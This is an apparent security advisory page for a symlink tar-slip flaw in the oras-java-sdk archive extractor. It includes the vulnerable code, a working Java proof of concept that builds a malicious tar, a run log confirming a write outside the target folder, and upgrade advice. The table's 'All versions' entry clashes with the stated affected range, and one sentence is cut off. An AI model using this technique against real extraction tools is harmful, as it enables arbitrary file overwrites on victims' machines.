GHSA-j6hm-v3x2-qv6j `ArchiveUtils.untar(InputStream, Path)` and `ArchiveUtils.unzip(InputStream, Path)` in `land.oras:oras-java-sdk` create symbolic
Attackers can write arbitrary files outside the extraction directory via malicious symlinks in OCI archives, requiring user interaction to pull and extract the artifact.
- Exploited in the wild
- Not known
- Login needed
- Not needed
- Attackable
- Over the internet
- Victim action needed
- A user has to click or open something
- Fix
- Available
What is GHSA-j6hm-v3x2-qv6j?
GHSA-j6hm-v3x2-qv6j is a path traversal vulnerability in land.oras:oras-java-sdk, published on 1 Jul 2026. An attacker can exploit it over the internet without logging in, and only if a user opens a file or follows a link.
Official description
Summary
ArchiveUtils.untar(InputStream, Path) and ArchiveUtils.unzip(InputStream, Path) in land.oras:oras-java-sdk create symbolic-link entries from an archive without validating the symlink target. A malicious tar (or zip) shipped as an OCI layer blob can place a symlink under the extraction directory whose target points outside that directory, then ship a regular-file entry whose path traverses through that symlink. The subsequent Files.newOutputStream call follows the symlink and writes the file outside the caller's chosen target directory.
This bypasses the existing ensureSafeEntry containment check, which only validates entry.getName() and not entry.getLinkName(). Reachable from the public Registry.pullArtifact / OCILayout.pullArtifact API whenever the manifest layer carries io.deis.oras.content.unpack=true, and from any direct caller of ArchiveUtils.untar / ArchiveUtils.uncompressuntar (e.g. consumers that pull an archive blob and extract it themselves, such as project-scaffolding CLIs that fetch templates from OCI registries).
Affected versions
land.oras:oras-java-sdk <= 0.6.3 (current main commit 8e39dd54f0b9e981a5f246aefb851298187578e5, file src/main/java/land/oras/utils/ArchiveUtils.java lines 400-443 for untar, lines 350-393 for unzip).
Earlier path-traversal fix in PR #703 (released as 0.6.2) addressed the org.opencontainers.image.title annotation sink (GHSA-xm96-gfjx-jcrc), but did not extend containment to symlink targets inside archive entries.
Privilege required
Network-position: any party able to serve an OCI artifact / archive blob that the victim's oras-java-sdk-based tool pulls and extracts. This includes:
- A compromised or attacker-operated OCI registry endpoint (typo-squat, MITM, supply-chain into a public registry namespace).
- A malicious upstream artifact author who pushes a single tampered blob to a registry the victim trusts.
No registry authentication needed on the victim side beyond what is required to pull the artifact; the attack is fully driven by the contents of the layer the victim downloads.
Root cause
src/main/java/land/oras/utils/ArchiveUtils.java untar(InputStream, Path), lines 400-443:
public static void untar(InputStream fis, Path target) {
try {
try (BufferedInputStream bis = new BufferedInputStream(fis);
TarArchiveInputStream tais = new TarArchiveInputStream(bis)) {
TarArchiveEntry entry;
while ((entry = tais.getNextEntry()) != null) {
// Check if the entry is outside the target directory
ensureSafeEntry(entry, target); // validates entry.getName() only
Path outputPath = target.resolve(entry.getName()).normalize();
if (entry.isDirectory()) {
Files.createDirectories(outputPath);
} else {
Files.createDirectories(outputPath.getParent());
if (entry.isSymbolicLink()) {
// entry.getLinkName() is NOT validated against target
createSymbolicLink(outputPath, Paths.get(entry.getLinkName()));
} else {
// FOLLOWS the symlink if outputPath's parent is one
try (OutputStream out = Files.newOutputStream(outputPath)) {
tais.transferTo(out);
}
}
}
}
}
} catch (IOException e) {
throw new OrasException("Failed to extract tar.gz file", e);
}
}
ensureSafeEntry (lines 261-268) only normalizes entry.getName() against target. entry.getLinkName() for symlink entries is passed straight to createSymbolicLink. The subsequent file-write code path uses Files.newOutputStream without LinkOption.NOFOLLOW_LINKS, so when a later entry's path traverses through the previously-created symlink, the write resolves the symlink and lands outside target.
The same primitive applies to unzip(InputStream, Path) at lines 350-393 (symlink path at line 379 uses createSymbolicLink(outputPath, Paths.get(linkStr)) without target validation).
Reachability into the public API:
Registry.pullArtifact->pullLayer(Registry.java:1088). Whenio.deis.oras.content.unpack=trueis set on the layer,pullLayercallsArchiveUtils.untar(Files.newInputStream(tempArchive.getPath()), path)at line 1109. The attacker-controlled blob is the input.OCILayout.pullArtifactsimilar path through the layout's blob store.- Any direct caller of
ArchiveUtils.untar/ArchiveUtils.uncompressuntar/ArchiveUtils.unzipfrom a downstream consumer that fetches an archive blob and extracts it.
Proof of concept (E2E against deployed Maven Central land.oras:oras-java-sdk:0.6.3)
pom.xml:
<dependency>
<groupId>land.oras</groupId>
<artifactId>oras-java-sdk</artifactId>
<version>0.6.3</version>
</dependency>
src/main/java/TarSlipPoc.java:
import land.oras.utils.ArchiveUtils;
import org.apache.commons.compress.archivers.tar.TarArchiveEntry;
import org.apache.commons.compress.archivers.tar.TarArchiveOutputStream;
import java.io.*;
import java.nio.file.*;
public class TarSlipPoc {
public static void main(String[] args) throws Exception {
Path tmp = Files.createTempDirectory("orasslip-");
Path target = tmp.resolve("safe-output");
Files.createDirectories(target);
Path escapeFile = tmp.resolve("ESCAPED.txt");
Files.deleteIfExists(escapeFile);
Path mtar = tmp.resolve("malicious.tar");
try (TarArchiveOutputStream tout =
new TarArchiveOutputStream(Files.newOutputStream(mtar))) {
tout.setLongFileMode(TarArchiveOutputStream.LONGFILE_POSIX);
// Entry 1: symlink at "evil-link" pointing one dir above target
TarArchiveEntry symlinkEntry =
new TarArchiveEntry("evil-link", TarArchiveEntry.LF_SYMLINK);
symlinkEntry.setLinkName(tmp.toAbsolutePath().toString());
symlinkEntry.setMode(0777);
tout.putArchiveEntry(symlinkEntry);
tout.closeArchiveEntry();
// Entry 2: regular file under "evil-link/" — write follows symlink
byte[] data = "POC SUCCESS\n".getBytes();
TarArchiveEntry fileEntry =
new TarArchiveEntry("evil-link/ESCAPED.txt");
fileEntry.setSize(data.length);
fileEntry.setMode(0644);
tout.putArchiveEntry(fileEntry);
tout.write(data);
tout.closeArchiveEntry();
}
System.out.println("ESCAPED.txt pre-extract: " + Files.exists(escapeFile));
ArchiveUtils.untar(mtar, target);
System.out.println("ESCAPED.txt post-extract (outside target): "
+ Files.exists(escapeFile));
}
}
Run transcript (JDK 25, Apache Maven 3.9.16, oras-java-sdk:0.6.3 from Maven Central):
=== PRE-EXTRACT ===
target=/var/folders/7n/y98nrcg928ldg8685njy1qjc0000gn/T/orasslip-8932319985819096427/safe-output
ESCAPED.txt exists: false
=== POST-EXTRACT ===
target listing:
/var/folders/.../orasslip-.../safe-output
/var/folders/.../orasslip-.../safe-output/evil-link (symlink)
ESCAPED.txt exists outside target: true
ESCAPED.txt contents: POC SUCCESS
** SYMLINK TAR-SLIP CONFIRMED **
Negative control: same malicious tar, extracted through a routine that resolves entry.getLinkName() against the entry's parent and requires the result to stay under target, AND opens regular files with LinkOption.NOFOLLOW_LINKS:
=== NEGATIVE CONTROL (link-target validation) ===
BLOCKED symlink 'evil-link' -> '/var/folders/.../orasslip-neg-...' (escapes target)
ESCAPED.txt exists outside target: false
** NEGATIVE CONTROL OK — no escape, safe under fix **
Impact
- Arbitrary file write under the privileg
Which versions are affected by GHSA-j6hm-v3x2-qv6j?
2 open source packages ship an affected version, including land.oras:oras-java-sdk.
| Package | Affected | Fixed in |
|---|---|---|
land.oras:oras-java-sdk Maven | All versions | 0.6.4 |
land.oras:oras-java-sdk Maven | All versions | 0.6.4 |
How do I fix GHSA-j6hm-v3x2-qv6j?
Upgrade land.oras:oras-java-sdk to 0.6.4 or later.
Upgrade, and resolve every user-supplied path against an allowed base folder before opening it. More about Path traversal.
Is GHSA-j6hm-v3x2-qv6j being exploited?
There is no known exploitation of GHSA-j6hm-v3x2-qv6j in the wild and no public exploit code.